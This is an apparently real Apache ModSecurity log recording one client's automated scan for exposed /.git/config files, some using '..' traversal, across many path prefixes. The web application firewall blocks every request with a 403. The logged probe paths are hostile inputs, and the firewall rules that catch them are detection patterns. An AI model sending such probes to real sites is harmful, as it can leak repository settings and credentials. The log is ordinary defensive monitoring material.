[Mon Jul 17 02:19:51.344561 2023] [:error] [pid 673637] [client 3.143.209.15:52450] [client 3.143.209.15] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/css../.git/config&quot;] [unique_id &quot;ZLSJJ4ZYX_VnrzSUhoVlQgAAAAI&quot;]
[Mon Jul 17 02:19:51.344680 2023] [:error] [pid 673637] [client 3.143.209.15:52450] [client 3.143.209.15] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/css../.git/config&quot;] [unique_id &quot;ZLSJJ4ZYX_VnrzSUhoVlQgAAAAI&quot;]
[Mon Jul 17 02:19:51.380713 2023] [:error] [pid 674855] [client 3.143.209.15:52414] [client 3.143.209.15] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/js../.git/config&quot;] [unique_id &quot;ZLSJJ74FjXGmLhvm8jrdtgAAAAc&quot;]
[Mon Jul 17 02:19:51.380892 2023] [:error] [pid 674855] [client 3.143.209.15:52414] [client 3.143.209.15] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/js../.git/config&quot;] [unique_id &quot;ZLSJJ74FjXGmLhvm8jrdtgAAAAc&quot;]
[Mon Jul 17 02:19:51.381039 2023] [:error] [pid 674855] [client 3.143.209.15:52414] [client 3.143.209.15] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/js../.git/config&quot;] [unique_id &quot;ZLSJJ74FjXGmLhvm8jrdtgAAAAc&quot;]
[Mon Jul 17 02:19:51.542663 2023] [:error] [pid 674854] [client 3.143.209.15:52418] [client 3.143.209.15] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/images../.git/config&quot;] [unique_id &quot;ZLSJJy-vjPWa8Z17cvt-lAAAAAY&quot;]
[Mon Jul 17 02:19:51.542906 2023] [:error] [pid 674854] [client 3.143.209.15:52418] [client 3.143.209.15] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/images../.git/config&quot;] [unique_id &quot;ZLSJJy-vjPWa8Z17cvt-lAAAAAY&quot;]
[Mon Jul 17 02:19:51.543052 2023] [:error] [pid 674854] [client 3.143.209.15:52418] [client 3.143.209.15] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/images../.git/config&quot;] [unique_id &quot;ZLSJJy-vjPWa8Z17cvt-lAAAAAY&quot;]
[Mon Jul 17 02:19:51.549027 2023] [:error] [pid 673639] [client 3.143.209.15:52434] [client 3.143.209.15] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/img../.git/config&quot;] [unique_id &quot;ZLSJJ3TUyDq7zN9MWDuSegAAAAQ&quot;]
[Mon Jul 17 02:19:51.549235 2023] [:error] [pid 673639] [client 3.143.209.15:52434] [client 3.143.209.15] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/img../.git/config&quot;] [unique_id &quot;ZLSJJ3TUyDq7zN9MWDuSegAAAAQ&quot;]
[Mon Jul 17 02:19:51.549374 2023] [:error] [pid 673639] [client 3.143.209.15:52434] [client 3.143.209.15] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/img../.git/config&quot;] [unique_id &quot;ZLSJJ3TUyDq7zN9MWDuSegAAAAQ&quot;]
[Mon Jul 17 02:19:51.553349 2023] [:error] [pid 673785] [client 3.143.209.15:52466] [client 3.143.209.15] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /repository/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/repository/.git/config&quot;] [unique_id &quot;ZLSJJzQiEmrnsFR88eZLaQAAAAU&quot;]
[Mon Jul 17 02:19:51.553532 2023] [:error] [pid 673785] [client 3.143.209.15:52466] [client 3.143.209.15] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/repository/.git/config&quot;] [unique_id &quot;ZLSJJzQiEmrnsFR88eZLaQAAAAU&quot;]
[Mon Jul 17 02:19:51.553655 2023] [:error] [pid 673785] [client 3.143.209.15:52466] [client 3.143.209.15] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/repository/.git/config&quot;] [unique_id &quot;ZLSJJzQiEmrnsFR88eZLaQAAAAU&quot;]
[Mon Jul 17 02:19:51.561252 2023] [:error] [pid 673636] [client 3.143.209.15:52464] [client 3.143.209.15] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /flock/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/flock/.git/config&quot;] [unique_id &quot;ZLSJJz4zPyLpySdBdU6pZgAAAAE&quot;]
[Mon Jul 17 02:19:51.561428 2023] [:error] [pid 673636] [client 3.143.209.15:52464] [client 3.143.209.15] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/flock/.git/config&quot;] [unique_id &quot;ZLSJJz4zPyLpySdBdU6pZgAAAAE&quot;]
[Mon Jul 17 02:19:51.561561 2023] [:error] [pid 673636] [client 3.143.209.15:52464] [client 3.143.209.15] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/flock/.git/config&quot;] [unique_id &quot;ZLSJJz4zPyLpySdBdU6pZgAAAAE&quot;]
[Mon Jul 17 02:19:51.563213 2023] [:error] [pid 673638] [client 3.143.209.15:52482] [client 3.143.209.15] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /wiki/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wiki/.git/config&quot;] [unique_id &quot;ZLSJJ6f8b0BmNA89Kdw_ZwAAAAM&quot;]
[Mon Jul 17 02:19:51.564507 2023] [:error] [pid 673638] [client 3.143.209.15:52482] [client 3.143.209.15] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wiki/.git/config&quot;] [unique_id &quot;ZLSJJ6f8b0BmNA89Kdw_ZwAAAAM&quot;]
[Mon Jul 17 02:19:51.564641 2023] [:error] [pid 673638] [client 3.143.209.15:52482] [client 3.143.209.15] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wiki/.git/config&quot;] [unique_id &quot;ZLSJJ6f8b0BmNA89Kdw_ZwAAAAM&quot;]
[Mon Jul 17 02:19:51.570143 2023] [:error] [pid 673635] [client 3.143.209.15:52502] [client 3.143.209.15] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /store/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/store/.git/config&quot;] [unique_id &quot;ZLSJJ-qR2JONb5tmzF-nbgAAAAA&quot;]
[Mon Jul 17 02:19:51.570311 2023] [:error] [pid 673635] [client 3.143.209.15:52502] [client 3.143.209.15] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/store/.git/config&quot;] [unique_id &quot;ZLSJJ-qR2JONb5tmzF-nbgAAAAA&quot;]
[Mon Jul 17 02:19:51.570434 2023] [:error] [pid 673635] [client 3.143.209.15:52502] [client 3.143.209.15] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/store/.git/config&quot;] [unique_id &quot;ZLSJJ-qR2JONb5tmzF-nbgAAAAA&quot;]
[Mon Jul 17 02:19:51.580187 2023] [:error] [pid 673637] [client 3.143.209.15:52514] [client 3.143.209.15] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /api/user/v3/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/user/v3/.git/config&quot;] [unique_id &quot;ZLSJJ4ZYX_VnrzSUhoVlQwAAAAI&quot;]
[Mon Jul 17 02:19:51.580370 2023] [:error] [pid 673637] [client 3.143.209.15:52514] [client 3.143.209.15] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/user/v3/.git/config&quot;] [unique_id &quot;ZLSJJ4ZYX_VnrzSUhoVlQwAAAAI&quot;]
[Mon Jul 17 02:19:51.580492 2023] [:error] [pid 673637] [client 3.143.209.15:52514] [client 3.143.209.15] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/user/v3/.git/config&quot;] [unique_id &quot;ZLSJJ4ZYX_VnrzSUhoVlQwAAAAI&quot;]
[Mon Jul 17 02:19:51.624935 2023] [:error] [pid 674855] [client 3.143.209.15:52494] [client 3.143.209.15] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /demo/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/demo/.git/config&quot;] [unique_id &quot;ZLSJJ74FjXGmLhvm8jrdtwAAAAc&quot;]
[Mon Jul 17 02:19:51.625149 2023] [:error] [pid 674855] [client 3.143.209.15:52494] [client 3.143.209.15] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/demo/.git/config&quot;] [unique_id &quot;ZLSJJ74FjXGmLhvm8jrdtwAAAAc&quot;]
[Mon Jul 17 02:19:51.625290 2023] [:error] [pid 674855] [client 3.143.209.15:52494] [client 3.143.209.15] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/demo/.git/config&quot;] [unique_id &quot;ZLSJJ74FjXGmLhvm8jrdtwAAAAc&quot;]
[Mon Jul 17 02:19:51.782643 2023] [:error] [pid 674854] [client 3.143.209.15:52522] [client 3.143.209.15] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /backup/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/.git/config&quot;] [unique_id &quot;ZLSJJy-vjPWa8Z17cvt-lQAAAAY&quot;]
[Mon Jul 17 02:19:51.782893 2023] [:error] [pid 674854] [client 3.143.209.15:52522] [client 3.143.209.15] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/.git/config&quot;] [unique_id &quot;ZLSJJy-vjPWa8Z17cvt-lQAAAAY&quot;]
[Mon Jul 17 02:19:51.783034 2023] [:error] [pid 674854] [client 3.143.209.15:52522] [client 3.143.209.15] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/.git/config&quot;] [unique_id &quot;ZLSJJy-vjPWa8Z17cvt-lQAAAAY&quot;]
[Mon Jul 17 02:19:51.786253 2023] [:error] [pid 673785] [client 3.143.209.15:52526] [client 3.143.209.15] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /s3/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/s3/.git/config&quot;] [unique_id &quot;ZLSJJzQiEmrnsFR88eZLagAAAAU&quot;]
